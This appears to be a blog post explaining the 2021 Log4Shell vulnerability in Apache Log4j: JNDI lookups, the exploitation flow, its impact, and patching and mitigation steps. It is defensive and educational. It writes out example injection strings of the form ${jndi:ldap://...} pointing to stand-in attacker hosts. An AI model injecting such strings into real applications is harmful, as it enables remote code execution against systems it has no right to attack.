Skip to Content
All memories

Log4Shell - Unpacking the JNDI Attack That Set the Internet on Fire

 — #pentesting#SDE

Hey everyone, and welcome back! Cast your minds back to December 2021. For many of us in the tech world, it was a period of high alert. The internet seemed to be on fire, all thanks to a critical vulnerability discovered in a widely used Java logging library: Apache Log4j. This vulnerability, dubbed Log4Shell (and tracked as CVE-2021-44228), sent shockwaves through the industry due to its severity and widespread impact.

One of our provided system design resources even highlights that "One picture is worth more than a thousand words. Log4j from attack to prevention in one illustration. Credit GovCERT. While that specific illustration isn't in our direct material, the reference underscores the significance of this event. Today, let's unpack what the Log4j JNDI attack was all about, how it worked, and the critical lessons it taught us.

Setting the Stage: What is Log4j?

Before we get into the attack, it's important to understand Apache Log4j. It's an incredibly popular, open-source, Java-based logging utility. Millions of Java applications and enterprise software systems worldwide, from small applications to massive enterprise platforms, rely on Log4j to record events, errors, diagnostic information, and general operational data. Its ubiquity was a key factor in why Log4Shell became such a massive issue.

The Culprit Feature: JNDI (Java Naming and Directory Interface)

The vulnerability exploited a feature related to JNDI (Java Naming and Directory Interface).

  • What is JNDI? JNDI is a Java API that allows Java applications to discover and look up data and objects via a name from various naming and directory services. Think of it as a phonebook for Java objects. Services that can be accessed via JNDI include LDAP (Lightweight Directory Access Protocol), DNS (Domain Name System), RMI (Remote Method Invocation), and CORBA.
  • How Log4j Used JNDI: In certain configurations, vulnerable versions of Log4j had a "message lookup substitution" feature. This meant that if a logged string contained a special pattern like ${jndi:...}, Log4j would interpret it as a JNDI lookup instruction and attempt to resolve the path. For example, a logged string containing ${jndi:ldap://attacker.com/malicious_object} would trigger Log4j to contact that LDAP server.

The Attack Explained: Log4Shell (CVE-2021-44228)

The Log4Shell vulnerability (primarily affecting Log4j versions 2.0-beta9 up to 2.14.1 initially, before further related CVEs prompted more updates) stemmed from the way Log4j processed these JNDI lookups within log messages without proper sanitization or sufficient default restrictions.

The Exploitation Flow (Simplified)

Here's a high-level view of how an attacker could exploit this:

  1. Attacker Sends Malicious String: The attacker finds a way to inject a specially crafted string into a log message that an application using a vulnerable Log4j version will process. This string could be sent via various vectors:

    • HTTP headers (e.g., User-Agent, X-Forwarded-For)
    • User input fields on a web form
    • Parameters in a URL
    • Any data that the target application logs. The crafted string would look something like: ${jndi:ldap://attacker-controlled-server.com/ExploitClass}
  2. Log4j Processes the String: The vulnerable Log4j library, upon encountering this pattern within a log message it's about to write, interprets the ${jndi:...} syntax.

  3. JNDI Lookup Initiated: Log4j performs a JNDI lookup to the URL specified by the attacker. In our example, it makes a request to the attacker's LDAP server at attacker-controlled-server.com asking for the resource named ExploitClass.

  4. Attacker's Server Responds with Malicious Payload: The attacker-controlled LDAP (or RMI, etc.) server receives this lookup request. It's configured to respond with a directory entry that points to a remote Java class file or a serialized Java object hosted elsewhere (often on another server controlled by the attacker, or even embedded in the LDAP response itself).

  5. Remote Code Execution (RCE): The vulnerable server running the Log4j application, upon receiving this JNDI response, downloads and then deserializes and/or executes the malicious Java class or object. This action effectively gives the attacker Remote Code Execution (RCE) capabilities on the victim's server. With RCE, the attacker can potentially take full control of the compromised server.

As mentioned earlier, the GovCERT link provides a visual representation of such an attack flow and subsequent prevention measures.

The Impact: Why It Was a "Hair-on-Fire" Situation

Log4Shell was rated as a critical vulnerability (often a 10 out of 10 on the CVSS scale) for several reasons:

  • Widespread Use: Log4j is one of the most common logging libraries in the Java ecosystem, embedded in countless applications, frameworks, and enterprise software products.
  • Ease of Exploitation: The basic exploit was relatively simple, often just requiring an attacker to send a single crafted string to a vulnerable endpoint.
  • Severe Consequences: RCE is one of the most dangerous types of vulnerabilities. It allows attackers to execute arbitrary commands, potentially leading to complete system compromise, data theft, installation of malware or ransomware, or using the server as a launchpad for further attacks within a network.
  • Difficult to Detect and Remediate: The malicious JNDI string could be hidden in many different types of data that get logged, making it hard to find all vulnerable input vectors. Furthermore, identifying all instances of the vulnerable Log4j library across a large organization's software stack (including third-party applications) was a massive challenge.

Mitigation and Prevention: Lessons Learned

The Log4Shell incident triggered a global scramble to patch systems. The key mitigation strategies included (and still include):

  1. Patching Log4j: The most critical step was (and is) to upgrade Log4j to a non-vulnerable version (e.g., 2.17.1 or later, as several follow-up vulnerabilities related to incomplete fixes or other vectors were found after the initial patch for CVE-2021-44228).
  2. Configuration Changes (Temporary Fixes): For systems that couldn't be patched immediately, some temporary mitigations included:
    • Setting the system property log4j2.formatMsgNoLookups to true (for versions 2.10 and later).
    • Removing the JndiLookup class from the Log4j classpath (zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).
  3. Web Application Firewalls (WAFs): WAFs could be configured to block requests containing common JNDI lookup patterns, offering an additional layer of defense, though this wasn't foolproof due to obfuscation techniques.
  4. Network Segmentation & Egress Filtering: Restricting outbound network connections from application servers to only explicitly allowed destinations could limit the ability of a compromised server to connect back to an attacker's command-and-control or payload-hosting server.
  5. Software Composition Analysis (SCA) Tools: Using SCA tools to identify all direct and transitive dependencies in your software stack, helping to pinpoint instances of vulnerable libraries like Log4j.
  6. Principle of Least Privilege: Running applications with the minimum necessary permissions to limit the potential damage an attacker can do if they achieve RCE.
  7. Disable Unnecessary Features: If JNDI lookups in log messages aren't needed (which they rarely are for legitimate logging purposes), ensure they are disabled by default. Newer Log4j versions made lookups more restrictive.

Key Takeaways

  • Log4Shell was a stark reminder of the potential impact of vulnerabilities in widely used, foundational software components.
  • The attack cleverly exploited a powerful feature (JNDI lookups) in Log4j when combined with attacker-controlled input being logged.
  • It underscored the importance of rapid patching, robust software supply chain security (knowing what's in your code), defense-in-depth, and continuous monitoring.

The Log4j JNDI attack was a wake-up call for the entire industry, emphasizing that even seemingly innocuous libraries can become critical security risks if not carefully managed and configured.